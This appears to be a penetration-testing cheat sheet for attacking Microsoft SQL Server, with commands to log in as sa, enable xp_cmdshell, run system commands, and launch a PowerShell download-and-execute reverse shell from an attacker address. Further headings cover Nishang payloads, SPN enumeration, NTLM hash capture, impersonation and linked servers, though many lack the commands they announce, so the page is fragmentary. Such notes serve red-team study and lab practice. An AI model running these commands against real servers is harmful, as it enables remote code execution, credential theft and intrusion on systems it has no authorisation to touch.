MSSQL
Login to MSSQL Server with SQSH
sqsh -S $IP -U sa -P <password>
> EXEC SP_CONFIGURE 'show advanced options',1;reconfigure
> EXEC SP_CONFIGURE 'xp_cmdshell',1;reconfigure
> xp_cmdshell "whoami"
> goReverse Shell with Powershell
> xp_cmdshell "powershell IEX(New-Object Net.webclient).downloadString('http://10.10.x.y/reverse.ps1')"
> goPowershell use Nishang payload
checking the compromised computer:
powershell -exec bypass
# import module
. .\GetUserSPN.ps1collect:
SAMAccountName
Service Principal Name
MSSQL Auth
Builtin\Users
sa (service account)
Do you have a valid creds?
Enumeration for PrivEsc
Do you have access to the machine with mssql?
Using PowerUpSQL
Capturing the NTLM Hash
Make sure you have access to command xp_dirtree in the sqlcmd.
MSSQL Read File
Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.
RCE with MSSQL
If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
There is Azure AD and DCSync?
ref: https://blog.xpnsec.com/azuread-connect-for-redteam/
Check Ability to Impersonate User
impersonate dbo (db owner)
Check Linked Server with MSSQL
MSSQL query problem with quote, so using base64 encode command is best options.
reference:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md
Last updated